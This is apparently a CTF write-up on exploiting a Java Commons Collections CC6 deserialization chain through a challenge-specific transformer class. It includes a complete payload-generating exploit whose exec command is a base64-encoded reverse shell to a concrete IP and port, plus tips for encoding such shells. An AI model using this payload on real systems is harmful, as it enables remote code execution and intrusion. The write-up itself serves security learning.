In the past few days, I encountered a Java CC chain variant as a newbie in CTF. It was one of my first or second Java questions, and I encountered many pitfalls. I am writing this down for future reference.
When reviewing the jar package of the question, there is a deserialization point and a subclass of the transformer class, which should be an imitation of the invoketransformer class. The basic principle of the CC chain is to use deserialization to invoke invoketransformer and obtain the runtime class through reflection to achieve RCE.
The question provided a hint to hit the cc6 chain, which is an alternative to cc1 that cannot be used in higher versions of Java.
You can refer to the cc chain here:
https://www.cnblogs.com/bitterz/p/15035581.html
For cc6, you can refer to this blog:
https://www.yulate.com/348.html
For the traditional cc6, its exploitation chain is as follows:
java.io.ObjectInputStream.readObject();
java.util.HashSet.readObject();
java.util.HashMap.put();
java.util.HashMap.hash();
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode();
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue();
org.apache.commons.collections.map.LazyMap.get();
org.apache.commons.collections.functors.ChainedTransformer.transform();
org.apache.commons.collections.functors.InvokerTransformer.transform();
java.lang.reflect.Method.invoke();
java.lang.Runtime.exec();
Deserializing a HashSet object will automatically call readObject during wakeup, which invokes the hash method of the hashmap inside. The internal implementation calls the hashcode method of its internal object. Calculating the hash at this step requires obtaining the value, triggering the get method of lazymap, and Lazymap calls the invoke inside chainedtransformer to obtain the runtime class through reflection, achieving RCE.
But checking the dependency version, it is cc3.2.2, and this version has fixed the traditional cc6 exploitation. How was it fixed?
Check the changelog of this version:
It banned several dangerous classes to prevent serialization from causing RCE.
Decompiling the jar package using jadx, I saw the source code here, where I saw the eval class given in the question, which is an imitation of the invoketransformer class.
Serializable was added back intentionally so that this class can be used to hit the cc6 chain again.
Based on the payload of the traditional cc6 chain, I copied and modified an exp.
I encountered many pitfalls in configuring the environment, so I won't write them here. I will remember them in the future.
public class cc {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new eval("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new eval("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new eval("exec", new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTA5LjE1OC4yMjAvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(buffer);
output.writeObject(hashSet);
//base64 encoding
String payload = Base64.getEncoder().encodeToString(buffer.toByteArray());
System.out.println(payload);
// decoserize decoserize = new decoserize();
// decoserize.decoserize(payload);
}
}
There are two major pitfalls here:
-
Package name, it must be exactly the same as in the source file, otherwise it won't recognize it when deserializing.
-
Simple shell popping methods cannot be used. You can refer to the principle here:
https://www.cnblogs.com/BOHB-yunying/p/15523680.html
You need to modify the classic statement to:
bash -c {echo,base64-encoded-shell-command}|{base64,-d}|{bash,-i}
Other than that, it should work normally. Remember to URL encode the base64.